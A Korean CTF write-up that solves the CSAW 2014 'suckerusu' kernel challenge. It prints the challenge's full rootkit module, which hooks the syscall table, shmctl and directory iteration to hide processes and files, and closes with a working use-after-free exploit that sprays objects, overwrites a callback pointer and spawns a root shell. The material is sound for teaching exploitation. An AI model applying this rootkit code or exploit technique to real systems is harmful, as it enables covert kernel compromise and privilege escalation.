By puing | June 22, 2018
CTF 문제로 공부하는 Kernel Exploit EP.03 - CSAW 2014 suckerusu
안녕하세요!
또 다시 커널 익스플로잇 문제와 함께 돌아온 puing 입니다!!
이번에 풀어볼 문제는 2014 CSAW 에 출제되었던 Suckerusu
라는 문제입니다.
역시나 문제 소스는 깁니다.
차근차근 시작 해 볼까요? :)
커널익스플로잇도 문제소스부터 시작~
문제 소스를 먼저 볼까요? :)
길어도 차근차근!
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <linux/list.h>
#include <linux/fs.h>
#include <linux/cred.h>
#include <linux/shm.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/processor.h>
#include <linux/delay.h>
#define AUTH_TOKEN 0x77617363
#define MAX_PIDS 100
#define MAX_FILES 100
#define DEBUG if ( debug ) printk
long debug = 0;
struct pid_args {
long pid_start;
long pid_end;
};
struct file_args {
char *name;
int len;
};
struct {
unsigned short limit;
unsigned long base;
} __attribute__ ((packed))idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none, flags;
unsigned short off2;
} __attribute__ ((packed))idt;
unsigned long *sys_call_table;
struct hidden_pid {
long pid_start;
long pid_end;
struct list_head list;
};
LIST_HEAD(hidden_pids);
struct hidden_file {
void (*cb)(struct hidden_file *);
char *name;
struct list_head list;
};
LIST_HEAD(hidden_files);
static int (*orig_sys_shmctl)(int, int, void *);
static int (*orig_proc_iterate)(struct file *, struct dir_context *);
static int (*proc_filldir)(void *, const char *, int, loff_t, u64, unsigned);
static int (*orig_root_iterate)(struct file *file, struct dir_context *);
static int (*root_filldir)(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type);
void *memmem ( const void *haystack, size_t haystack_size, const void *needle, size_t needle_size )
{
char *p;
for ( p = (char *)haystack; p <= ((char *)haystack - needle_size + haystack_size); p++ )
if ( memcmp(p, needle, needle_size) == 0 )
return (void *)p;
return NULL;
}
unsigned long *find_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[512];
rdmsrl(MSR_LSTAR, sct_off);
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);
if ( p )
{
unsigned long *sct = *(unsigned long **)((char *)p + 3);
// Stupid compiler doesn't want to do bitwise math on pointers
sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) | 0xffffffff00000000);
return sct;
}
else
return NULL;
}
// Thanks Dan
inline unsigned long disable_wp ( void )
{
unsigned long cr0;
preempt_disable();
barrier();
cr0 = read_cr0();
write_cr0(cr0 & ~X86_CR0_WP);
return cr0;
}
inline void restore_wp ( unsigned long cr0 )
{
write_cr0(cr0);
barrier();
preempt_enable();
}
void up_up ( void )
{
commit_creds(prepare_kernel_cred(NULL));
}
void write_ulong ( unsigned long *ptr, unsigned long val )
{
unsigned long o_cr0 = disable_wp();
*ptr = val;
restore_wp(o_cr0);
}
unsigned long xchg_ulong ( unsigned long *ptr, unsigned long val )
{
unsigned long ret, o_cr0 = disable_wp();
ret = __sync_lock_test_and_set(ptr, val);
restore_wp(o_cr0);
return ret;
}
void debug_hidden_file ( struct hidden_file *hf )
{
DEBUG("Hiding file %s from directory listing\n", hf->name);
}
void suckerusu_kfree ( void *objp )
{
DEBUG("Freeing buffer at %p\n", objp);
kfree(objp);
}
void *suckerusu_kmalloc ( size_t size, gfp_t flags )
{
void *ptr;
ptr = kmalloc(size, flags);
DEBUG("Allocating buffer at %p\n", ptr);
return ptr;
}
void hide_pid ( long pid_start, long pid_end )
{
struct hidden_pid *hp;
hp = suckerusu_kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->pid_start = pid_start;
hp->pid_end = pid_end;
list_add(&hp->list, &hidden_pids);
}
void unhide_pid ( long pid_start, long pid_end )
{
struct hidden_pid *hp;
list_for_each_entry ( hp, &hidden_pids, list )
{
if ( (pid_start == hp->pid_start) && (pid_end == hp->pid_end) )
{
list_del(&hp->list);
suckerusu_kfree(hp);
break;
}
}
}
void hide_file ( char *name )
{
struct hidden_file *hf;
hf = suckerusu_kmalloc(sizeof(*hf), GFP_KERNEL);
if ( ! hf )
return;
hf->name = name;
hf->cb = debug_hidden_file;
list_add(&hf->list, &hidden_files);
}
void unhide_file ( char *name )
{
struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list )
{
if ( ! strcmp(name, hf->name) )
{
suckerusu_kfree(hf->name);
suckerusu_kfree(hf);
break;
}
}
}
void *hook_vfs_iterate ( const char *path, void *hook_func )
{
void *ret;
int (* const *tmp)(struct file *, struct dir_context *);
struct file *filep;
if ( (filep = filp_open(path, O_RDONLY, 0)) == NULL )
return NULL;
tmp = &(filep->f_op->iterate);
ret = (void *)xchg_ulong((unsigned long *)tmp, (unsigned long)hook_func);
filp_close(filep, 0);
return ret;
}
static int hook_proc_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_pid *hp;
char *endp;
long pid;
DEBUG("%s: enter, name=%s\n", __func__, name);
pid = simple_strtol(name, &endp, 10);
list_for_each_entry ( hp, &hidden_pids, list )
{
DEBUG("Checking name against: %ld-%ld\n", hp->pid_start, hp->pid_end);
if ( (pid >= hp->pid_start) && (pid <= hp->pid_end) )
return 0;
}
return proc_filldir(__buf, name, namelen, offset, ino, d_type);
}
int hook_proc_iterate ( struct file *file, struct dir_context *ctx )
{
int ret;
proc_filldir = ctx->actor;
*((filldir_t *)&ctx->actor) = hook_proc_filldir;
ret = orig_proc_iterate(file, ctx);
return ret;
}
static int hook_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;
DEBUG("%s: enter, name=%s\n", __func__, name);
list_for_each_entry ( hf, &hidden_files, list )
{
DEBUG("Checking name against: '%s' with callback %p\n", hf->name, hf->cb);
if ( strstr(name, hf->name) )
{
DEBUG("Match!\n");
if ( hf->cb )
hf->cb(hf);
return 0;
}
}
DEBUG("%s: end\n", __func__);
return root_filldir(__buf, name, namelen, offset, ino, d_type);
}
int hook_root_iterate ( struct file *file, struct dir_context *ctx )
{
int ret;
root_filldir = ctx->actor;
*((filldir_t *)&ctx->actor) = hook_root_filldir;
ret = orig_root_iterate(file, ctx);
return ret;
}
int hook_sys_shmctl ( int shmid, int cmd, struct shmid_ds *buf )
{
/* This is the good stuff */
if ( shmid == AUTH_TOKEN )
{
int ret = 0;
DEBUG("Authenticated!\n");
switch ( cmd )
{
/* Elevate privileges to root */
case 0:
{
// TODO
break;
}
/* Hide process */
case 1:
{
struct pid_args pid_args;
DEBUG("Hiding process\n");
if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
return -EFAULT;
hide_pid(pid_args.pid_start, pid_args.pid_end);
break;
}
/* Unhide process */
case 2:
{
struct pid_args pid_args;
DEBUG("Unhiding process\n");
if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
return -EFAULT;
unhide_pid(pid_args.pid_start, pid_args.pid_end);
break;
}
/* Hide file */
case 3:
{
char *name;
struct file_args file_args;
DEBUG("Hiding file\n");
if ( copy_from_user(&file_args, buf, sizeof(file_args)) )
return -EFAULT;
name = suckerusu_kmalloc(file_args.len + 1, GFP_KERNEL);
if ( ZERO_OR_NULL_PTR(name) )
return -ENOMEM;
ret = copy_from_user(name, file_args.name, file_args.len);
if ( ret )
{
suckerusu_kfree(name);
return -EFAULT;
}
name[file_args.len] = 0;
hide_file(name);
break;
}
/* Unhide file */
case 4:
{
char *name;
struct file_args file_args;
DEBUG("Unhiding file\n");
if ( copy_from_user(&file_args, buf, sizeof(file_args)) )
return -EFAULT;
name = suckerusu_kmalloc(file_args.len + 1, GFP_KERNEL);
if ( ZERO_OR_NULL_PTR(name) )
return -ENOMEM;
ret = copy_from_user(name, file_args.name, file_args.len);
if ( ret )
{
suckerusu_kfree(name);
return -EFAULT;
}
name[file_args.len] = 0;
unhide_file(name);
break;
}
/* Toggle debugging */
case 5:
{
debug = (long)buf;
DEBUG("Debugging set to: %ld\n", debug);
}
}
return ret;
}
return orig_sys_shmctl(shmid, cmd, (void *)buf);
}
static int __init i_solemnly_swear_that_i_am_up_to_no_good ( void )
{
/* Find system call table */
sys_call_table = find_sys_call_table();
/* Install channel for communication with the rootkit */
orig_sys_shmctl = *(void **)(sys_call_table + __NR_shmctl);
write_ulong(sys_call_table + __NR_shmctl, (unsigned long)&hook_sys_shmctl);
/* Hook /proc for hiding processes */
orig_proc_iterate = hook_vfs_iterate("/proc", &hook_proc_iterate);
/* Hook / for hiding files */
orig_root_iterate = hook_vfs_iterate("/", &hook_root_iterate);
return 0;
}
static void __exit mischief_managed ( void )
{
// lol
}
module_init(i_solemnly_swear_that_i_am_up_to_no_good);
module_exit(mischief_managed);
MODULE_LICENSE("GPL");
길죠?
후하후하!
차근차근 볼까요? :)
분석 해 봅시다
문제 소스를 보면 모듈이 로드될 때, i_solemnly_swear_that_i_am_up_to_no_good
함수가 호출됩니다. 이 함수 내용은 shmctl
함수를 후킹하여 shmctl 함수가 호출되었을 때, hook_sys_shmctl
함수가 호출되도록 합니다.
그리고 hook_vfs_iterate
함수로 /proc
와 /
의 file_operations 구조체에서 iterate 에 각각 hook_proc_iterate
, hook_root_iterate
함수 주소를 써줍니다.
unsigned long xchg_ulong ( unsigned long *ptr, unsigned long val )
{
unsigned long ret, o_cr0 = disable_wp();
ret = __sync_lock_test_and_set(ptr, val);
restore_wp(o_cr0);
return ret;
}
...
...
void *hook_vfs_iterate ( const char *path, void *hook_func )
{
...
...
tmp = &(filep->f_op->iterate);
ret = (void *)xchg_ulong((unsigned long *)tmp, (unsigned long)hook_func);
그리고 hook_proc_iterate
,hook_root_iterate
함수에서는 ctx->actor
에 hook_proc_filldir
, hook_root_filldir
함수 주소를 넣어줍니다.
int hook_proc_iterate ( struct file *file, struct dir_context *ctx )
{
int ret;
proc_filldir = ctx->actor;
*((filldir_t *)&ctx->actor) = hook_proc_filldir;
ret = orig_proc_iterate(file, ctx);
return ret;
}
int hook_root_iterate ( struct file *file, struct dir_context *ctx )
{
int ret;
root_filldir = ctx->actor;
*((filldir_t *)&ctx->actor) = hook_root_filldir;
ret = orig_root_iterate(file, ctx);
return ret;
}
hook_sys_shmctl
함수 내용을 보면, 인자로 들어온 shmid 가 AUTH_TOKEN(0x77617363)
이냐 아니냐에 따라, 원래의 shmctl 함수가 실행될 수도 있고, case 문으로 들어가 다른 내용들이 실행될 수도 있습니다.
int hook_sys_shmctl ( int shmid, int cmd, struct shmid_ds *buf )
{
/* This is the good stuff */
if ( shmid == AUTH_TOKEN )
{
int ret = 0;
DEBUG("Authenticated!\n");
switch ( cmd )
{
....
....
return orig_sys_shmctl(shmid, cmd, (void *)buf);
}
case 문을 보면, 1일 경우, hide_pid
, 2일 경우, unhide_pid
, 3일 경우, hide_file
, 4일 경우, unhide_file
함수가 호출됩니다. 그리고 list_add 함수로 리스트에 추가합니다.
간단하게 함수들을 살펴봅시다!
먼저, hide_pid
는 kmalloc 함수로 메모리 할당을 받은 후, hidden_pid
구조체의 pid_start, pid_end 변수에 각각 사용자가 전달한 값을 넣어줍니다.
if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
return -EFAULT;
...
...
hide_pid(pid_args.pid_start, pid_args.pid_end);
struct hidden_pid {
long pid_start;
long pid_end;
struct list_head list;
};
...
...
void hide_pid ( long pid_start, long pid_end )
{
struct hidden_pid *hp;
hp = suckerusu_kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->pid_start = pid_start;
hp->pid_end = pid_end;
list_add(&hp->list, &hidden_pids);
}
그리고 unhide_pid
함수는 kfree 함수로 할당받은 메모리를 반환하고 list_del 함수로 해당 리스트를 제거합니다.
if ( copy_from_user(&pid_args, buf, sizeof(pid_args)) )
return -EFAULT;
...
...
unhide_pid(pid_args.pid_start, pid_args.pid_end);
void unhide_pid ( long pid_start, long pid_end )
{
struct hidden_pid *hp;
list_for_each_entry ( hp, &hidden_pids, list )
{
if ( (pid_start == hp->pid_start) && (pid_end == hp->pid_end) )
{
list_del(&hp->list);
suckerusu_kfree(hp);
break;
}
}
}
hide_file
함수와 unhide_file
함수는 위에 함수들과 비슷하게, kmalloc 함수로 메모리 할당을 받고, 사용자가 전달한 값을 hidden_file 구조체의 변수에 넣고 list_add 로 리스트를 추가하고 kfree 함수로 할당받은 메모리를 해제합니다.
자 이정도로 간략하게 함수들을 설명했고!
이제 어떻게 hook_sys_shmctl
을 호출할까요?
취약점을 찾아보자!!
어떻게 hook_sys_shmctl
을 호출할까요?
해당 커널 모듈에서 shmctl 함수를 후킹했다고 했었죠?
따라서 우리가 그냥 shmctl 을 호출하면 알아서 hook_sys_shmctl 함수가 호출 되겠네요!
syscall 함수를 이용하여 shmctl 함수를 호출할 수 있습니다.
syscall(int number, (arg1),(arg2)....)
와 같이 shmctl 을 호출하면 hook_sys_shmctl
함수가 호출될 것입니다.
1. shmctl 함수 원형은,
int shmctl(int shmid, int cmd, struct shmid_ds *buf)
입니다.
syscall 함수로 shmctl 함수를 호출하려면syscall(shmctl_system_call_number, arg1, arg2, arg3)
와 같이 사용하면 되겠죠?
2. system call table 을 검색하면 shmctl 함수의 system call number 를 알아낼 수 있습니다.
여기선 sys_shmctl 은31
번입니다.
커널 모듈에 있는 hide_pid
, hide_file
이런 함수들을 사용하기 위해서는 shmctl 인자로 AUTH_TOKEN(0x77617363)
을 주어야 합니다.
간단한 예로 hidden_pid 구조체와 비슷한 구조체를 만들어서 전달할 값들을 넣고
syscall(31,AUTH_TOKEN(0x77617363),HIDE_PID, &hidden_pid)
와 같이 사용해봅시다.
작성한 call_hidpid.c 내용
#include <string.h>
#include <stdio.h>
#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME ""
#define HIDE_PID 1
struct pid_args {
long pid_start;
long pid_end;
};
struct file_args {
char *name;
int len;
};
int main()
{
struct pid_args pid_args;
memset(&pid_args, 0, sizeof(pid_args));
pid_args.pid_start = 0x11223344;
pid_args.pid_end = (long)&FILE_NAME;
syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
return 0;
}
그리고 hide_pid
함수가 호출되었는지 확인하기위해 main.c
에 printk
함수를 추가해봅시다.
main.c 수정한 부분
void hide_pid ( long pid_start, long pid_end )
{
struct hidden_pid *hp;
printk(KERN_INFO "hide_pid was called!!\n");
hp = suckerusu_kmalloc(sizeof(*hp), GFP_KERNEL);
if ( ! hp )
return;
hp->pid_start = pid_start;
hp->pid_end = pid_end;
list_add(&hp->list, &hidden_pids);
}
실행해보면, hide_pid 함수가 제대로 호출된것을 확인할 수 있습니다!!ㅎㅎ
자, 이 문제에서 취약점은 어디에 있을까요?? ㅎㅎ
unhide_file
함수를 보면,
void unhide_file ( char *name )
{
struct hidden_file *hf;
list_for_each_entry ( hf, &hidden_files, list )
{
if ( ! strcmp(name, hf->name) )
{
suckerusu_kfree(hf->name);
suckerusu_kfree(hf);
break;
}
}
}
할당받은 메모리를 반환하죠?
void unhide_pid ( long pid_start, long pid_end )
{
struct hidden_pid *hp;
list_for_each_entry ( hp, &hidden_pids, list )
{
if ( (pid_start == hp->pid_start) && (pid_end == hp->pid_end) )
{
list_del(&hp->list);
suckerusu_kfree(hp);
break;
}
}
}
unhide_pid
함수같은 경우, 메모리를 반환하면서 list_del 함수로 해당 리스트를 삭제합니다.
하지만 unhide_file
함수에선 list_del 같은 함수로 리스트를 삭제하는 부분이 없죠?
그렇다면 할당받은 메모리가 반환되기는 하지만 리스트는 그대로 있는 상태일것입니다.
hide_file
함수를 호출하여 hf->name 과 hf->cb 에 값들이 채워져있는 상태에서 unhide_file
함수를 호출하여 할당받은 메모리를 반환하면, free 된 영역이기때문에 언젠간 다른 값들로 덮어 씌워질 수 있겠죠? 그리고 후킹된 hook_root_filldir
함수가 호출되면 어떻게 될까요?
hook_root_filldir 함수 내용
static int hook_root_filldir( void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
{
struct hidden_file *hf;
DEBUG("%s: enter, name=%s\n", __func__, name);
list_for_each_entry ( hf, &hidden_files, list )
{
DEBUG("Checking name against: '%s' with callback %p\n", hf->name, hf->cb);
if ( strstr(name, hf->name) )
{
DEBUG("Match!\n");
if ( hf->cb )
hf->cb(hf);
return 0;
}
}
DEBUG("%s: end\n", __func__);
return root_filldir(__buf, name, namelen, offset, ino, d_type);
}
hook_root_filldir
함수 내용에 hf->cb 를 호출해주는 부분이 있습니다.
헷갈리시죠?!??!?!?! ㅎㅎㅎ
한번 더 정리해서 말하자면, hide_file
함수에서 메모리 할당을 받고, unhide_file
함수에서 메모리를 반환합니다. 하지만 list_del
함수와 같이 list 에서 삭제해주는 부분이 없기때문에 list 에는 여전히 존재하고 반환된 메모리는 다른 값으로 덮어 씌워질 수 있습니다! 그리하여 반환된 메모리에 우리가 원하는 값으로 덮어씌워주고 hook_root_filldir
함수에서 list 들을 순회하며 hf->cb 를 호출하게 될 때, 우리가 덮어씌운 곳을 호출하게 되는 것입니다.
hf->cb 영역에 임의의 값으로 덮어씌우고 hook_root_filldir
함수를 호출하게하면 우리가 쓴 값이 그대로 호출될 것입니다. 모듈 내용에 up_up
이라는 함수를 보면, commit_creds(prepare_kernel(NULL)) 함수를 호출하여 그대로 권한 상승을 시켜주는 부분이 있습니다. hf->cb 에 up_up 함수 주소가 들어가면 hook_root_filldir
함수가 호출될 때, 루트로 권한 상승할 수 있을 것 입니다.
void up_up ( void )
{
commit_creds(prepare_kernel_cred(NULL));
}
정리를 해보면,
1.
hide_file
함수 호출 -> 메모리 할당
2.unhide_file
함수 호출 -> 메모리 반환
3.hide_pid
함수 호출 -> 메모리 할당 -> hf->cb 영역 덮어 씌우기
이렇게 요약할 수 있겠습니다!
먼저 hide_file
함수를 호출하여 어느 메모리 영역을 할당받았는지 봅시다.
작성한 hide_pid_file.c 내용
#include <dirent.h>
#include <string.h>
#include <stdio.h>
#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME "flag"
#define HIDE_PID 1
#define HIDE_FILE 3
#define UNHIDE_FILE 4
#define DEBUG 5
struct pid_args {
long pid_start;
long pid_end;
};
struct file_args {
char *name;
int len;
};
int main()
{
DIR *dir;
struct file_args file_args;
struct pid_args pid_args;
long debug;
int i;
debug = 1;
syscall(__NR_shmctl, AUTH_TOKEN, DEBUG, &debug);
memset(&file_args, 0, sizeof(file_args));
file_args.name = FILE_NAME;
file_args.len = strlen(FILE_NAME);
syscall(__NR_shmctl, AUTH_TOKEN, HIDE_FILE, &file_args);
memset(&file_args, 0, sizeof(file_args));
file_args.name = FILE_NAME;
file_args.len = strlen(FILE_NAME);
syscall(__NR_shmctl, AUTH_TOKEN, UNHIDE_FILE, &file_args);
memset(&pid_args,0, sizeof(pid_args));
pid_args.pid_start = 0;
pid_args.pid_end = 0;
syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
return 0;
}
실행 결과를 보면 0xffff880005c5d500
, 0xffff880005c86e40
가 할당받은 메모리 주소입니다. 0xffff880005c5d500
에는 사용자가 file_args 구조체의 name 에 담은 값이 써지고, 0xffff880005c86e40
에는 hidden_file 구조체가 들어갑니다. 즉 hf->cb 를 호출할 때, 0xffff880005c86e40
에 있는 주소가 호출될 것입니다. free 시킨 후, up_up
함수 주소로 덮어씌우면 되는 것입니다.
HIDE_PID 를 호출 할 때, 구조체 내용에 up_up
함수 주소를 넣고 디버깅해서 제대로 들어가는지 확인해봅시다.
작성한 overwrite.c 내용
#include <dirent.h>
#include <string.h>
#include <stdio.h>
#include <sys/utsname.h>
#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME "flag"
#define HIDE_PID 1
#define HIDE_FILE 3
#define UNHIDE_FILE 4
#define DEBUG 5
struct pid_args {
long pid_start;
long pid_end;
};
struct file_args {
char *name;
int len;
};
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int main()
{
DIR *dir;
struct file_args file_args;
struct pid_args pid_args;
long debug;
int i,tmp;
unsigned long up_up;
up_up = get_kernel_sym("up_up");
if ( 0 == up_up )
{
printf("[-] Failed to resolve up_up\n");
return 0;
}
debug = 1;
syscall(__NR_shmctl, AUTH_TOKEN, DEBUG, &debug);
memset(&file_args, 0, sizeof(file_args));
file_args.name = FILE_NAME;
file_args.len = strlen(FILE_NAME);
syscall(__NR_shmctl, AUTH_TOKEN, HIDE_FILE, &file_args);
memset(&file_args, 0, sizeof(file_args));
file_args.name = FILE_NAME;
file_args.len = strlen(FILE_NAME);
syscall(__NR_shmctl, AUTH_TOKEN, UNHIDE_FILE, &file_args);
memset(&pid_args,0, sizeof(pid_args));
pid_args.pid_start = up_up;
pid_args.pid_end = 0;
scanf("%d",&tmp);
for(i = 0; i < 5000;i++)
{
syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
}
return 0;
}
up_up
함수의 주소는 0xffffffffc0000430
이고 hf->cb 는 0xffff880005c86100
에 위치합니다. 따라서 0xffff880005c86100 에 watch 를 걸고 실행해보면, hf->cb 에 up_up
함수 주소가 제대로 들어간 것을 확인할 수 있습니다!!
소스 내용을 수정하거나 소스에 내용을 추가하여 실행할 때마다 할당받은 메모리 영역은 조금씩 달라질 수 있습니다.
그럼 우리는 hf->cb 에 원하는 값을 써줬으니 이 주소를 호출하는 hook_root_filldir
함수만 호출해주면 될 것 입니다.
이 함수를 호출하는 방법은 간단합니다. readdir
함수를 호출하면 됩니다. :)
readdir 함수는 디렉터리 내용을 읽을 때 사용되는 함수입니다.
리눅스 명령어 ls 도 readdir 함수를 사용합니다.
readdir 함수에서는 내부적으로 fillonedir 콜백 함수를 사용합니다. 쉽게 말해서 해당 디렉터리 파일들을 읽을 때마다 실행되는 함수입니다.
처음에 모듈 로드하면 몇 가지 함수를 후킹했었죠? 그 중, iterate 함수를 후킹하고 hook_root_iterate
함수에서 콜백 함수가 위치한 자리에 hook_root_filldir
함수를 넣어줍니다. 즉, 디렉터리 파일들을 읽을 때마다 실행되는 fillonedir 콜백함수가 hook_root_filldir
함수로 대체된 것 입니다. 그럼 디렉터리 파일을 읽을 때마다 hook_root_filldir
함수가 호출되겠죠?
readdir 함수로 디렉터리를 읽을 때 hook_root_filldir
함수가 호출되고 이 함수 안에서 hf->cb 를 호출하면 권한 상승을 할 수 있습니다.
원하는 함수를 알맞은 곳에 써준후에, readdir 함수로 후킹된 함수를 호출해서 권한 상승을 한 뒤, 그냥 /bin/sh
만 실행하면 루트 쉘을 획득할 수 있게 됩니다 ㅎㅎ
익스플로잇 코드를 작성 해 봅시다!
위의 분석 내용을 토대로 익스플로잇 코드를 작성하면 다음과 같습니다!
exploit code 내용
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/utsname.h>
#define AUTH_TOKEN 0x77617363
#define __NR_shmctl 31
#define FILE_NAME ""
#define HIDE_PID 1
#define UNHIDE_PID 2
#define HIDE_FILE 3
#define UNHIDE_FILE 4
#define DEBUG 5
struct pid_args {
long pid_start;
long pid_end;
};
struct file_args {
char *name;
int len;
};
void error ( char *msg )
{
perror(msg);
exit(EXIT_FAILURE);
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int main ( int argc, char *argv[] )
{
int ret, i;
long debug;
unsigned long up_up;
DIR *dir;
struct file_args file_args;
struct pid_args pid_args;
up_up = get_kernel_sym("up_up");
if ( 0 == up_up )
{
printf("[-] Failed to resolve up_up\n");
exit(EXIT_FAILURE);
}
/* Enable debugging */
printf("[+] Enabling debugging...\n");
debug = 1;
ret = syscall(__NR_shmctl, AUTH_TOKEN, DEBUG, &debug);
if ( ret < 0 )
error("[-] shmctl");
/* Hide file */
printf("[+] Hiding file...\n");
memset(&file_args, 0, sizeof(file_args));
file_args.name = FILE_NAME;
file_args.len = strlen(FILE_NAME);
ret = syscall(__NR_shmctl, AUTH_TOKEN, HIDE_FILE, &file_args);
if ( ret < 0 )
error("[-] shmctl");
/* Unhide file */
printf("[+] Unhiding file...\n");
memset(&file_args, 0, sizeof(file_args));
file_args.name = FILE_NAME;
file_args.len = strlen(FILE_NAME);
ret = syscall(__NR_shmctl, AUTH_TOKEN, UNHIDE_FILE, &file_args);
if ( ret < 0 )
error("[-] shmctl");
/* Spray PID objects... whatever */
printf("[+] Spraying PID objects...\n");
memset(&pid_args, 0, sizeof(pid_args));
pid_args.pid_start = up_up;
pid_args.pid_end = (long)&FILE_NAME;
for ( i = 0; i < 5000; i++ )
{
ret = syscall(__NR_shmctl, AUTH_TOKEN, HIDE_PID, &pid_args);
if ( ret < 0 )
error("[-] shmctl");
}
/* Trigger UAF function pointer */
printf("[+] Triggering UAF...\n");
dir = opendir(".");
if ( NULL == dir )
error("[-] opendir");
readdir(dir);
/* Check if root */
if ( getuid() )
{
printf("[-] Failed to get root\n");
exit(EXIT_FAILURE);
}
else
printf("[+] Got root!\n");
printf("[+] Enjoy your shell...\n");
if ( execl("/bin/sh", "sh", NULL) < 0 )
error("[-] execl");
return 0;
}
짜잔!
권한 상승이 제대로 된 상태로 쉘 획득한 것을 확인할 수 있습니다 :D